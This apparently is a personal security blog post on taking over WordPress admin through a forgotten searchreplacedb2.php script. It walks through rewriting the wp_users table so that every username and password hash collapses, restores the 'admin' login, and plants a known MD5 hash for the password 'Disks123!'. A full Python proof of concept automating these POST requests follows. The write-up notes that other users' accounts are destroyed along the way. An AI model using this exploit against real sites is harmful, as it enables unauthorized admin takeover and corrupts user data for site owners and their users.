searchreplacedb2.php your way to Wordpress Admin
In about 2013, I came across a website which was offering a file called searchreplacedb2.php. A PHP script which does largely what it says against databases (specifically Wordpress). It goes without saying, that if you've left this script on your server, then you're going to have a bad time. This is apparently evident by the number of webservers which have been compromised, containing this file. Here we investigate how one would go about executing such an attack.
There seems to be two popular versions of this page in use. One of which readily offers you database connection details. If the database server is open to the internet, and remote connections are enabled, then it's game over before you've even began.
However if, as is more than likely, the database server isn't open to the internet, then you have to use the script as it is intended - to search database tables and replace their contents.
Essentially, we will be scripting this screen with an extremely simple idea;
We instruct the page we will be operating on wp_users, and we will iterate through the alphabet, replacing all characters with new ones.
So if you imagine you have the string "kellog", and you iterate through a-z, replacing a-z with "b", you are eventually left with "bbbbbb". We can then iterate-replace this down and replace "bb" with "b" until we are sure the resultant word is just "b".
There are a few exceptions to this one ought to consider given the contents of a wp_users table. We don't wish to make it entirely inoperable, although we will go to no great pains to maintain integrity.
- Protect the 'admin' user. So we will replace "admin" with "*****". When we are done we will replace "*****" with "admin".
- Remember that there are two types of password that can be stored inside wp_users, depending on whether the user has been initialised or not. As such, we must replace certain special characters too ($./).
Originally, the Wordpress user table will similar to either one of these;
After we're done. It should look like this;
With the hash in the user_pass field corresponding to the password "Disks123!". Also if there are any other users... they're not going to make it through.
Although we could use WPscan to obtain a list of present WP users, and protect these specifically. Although you won't be able to keep their passwords intact.
Now if we login to /wp-admin...
...with password "Disks123!";
Whey aye :)
Python PoC Code: (quickly done, no judging)
import requests from BeautifulSoup import BeautifulSoup url = "http://localhost/searchreplacedb2.php" r = requests.post(url + "?step=2", data={'loadwp': 1}) print(r.status_code, r.reason) html_proc = BeautifulSoup(r.text) txtinput = html_proc.findAll('input', {'name': True}) dbdic={} dbdic['guid'] = "0" dbdic['tables[0]'] = "wp_users" for el in txtinput: dbdic[el['name']] = el['value'] dbdic['srch'] = "admin" dbdic['rplc'] = "-----" r = requests.post(url + "?step=5", data=dbdic) dbdic['srch'] = "$" dbdic['rplc'] = "" r = requests.post(url + "?step=5", data=dbdic) dbdic['srch'] = "." dbdic['rplc'] = "" r = requests.post(url + "?step=5", data=dbdic) dbdic['srch'] = "/" dbdic['rplc'] = "" r = requests.post(url + "?step=5", data=dbdic) for index in range(27): dbdic['srch'] = chr(65+index) dbdic['rplc'] = "!" r = requests.post(url + "?step=5", data=dbdic) dbdic['srch'] = chr(97+index) dbdic['rplc'] = "!" r = requests.post(url + "?step=5", data=dbdic) for index in range(8): #srdb2 script doesnt allow us to replace 0. replacing 1 is bad dbdic['srch'] = chr(50+index) dbdic['rplc'] = "!" r = requests.post(url + "?step=5", data=dbdic) for index in range(20): #kill remaining 0's and 1's for num in range(2): dbdic['srch'] = str(num) + "!" dbdic['rplc'] = "!" r = requests.post(url + "?step=5", data=dbdic) dbdic['srch'] = "!" + str(num) dbdic['rplc'] = "!" r = requests.post(url + "?step=5", data=dbdic) for index in range(100): dbdic['srch'] = "!!" dbdic['rplc'] = "!" r = requests.post(url + "?step=5", data=dbdic) dbdic['srch'] = "-----" dbdic['rplc'] = "admin" r = requests.post(url + "?step=5", data=dbdic) dbdic['srch'] = "!" dbdic['rplc'] = "a9b2a21ad17e94caa83021db2064f1a9" r = requests.post(url + "?step=5", data=dbdic)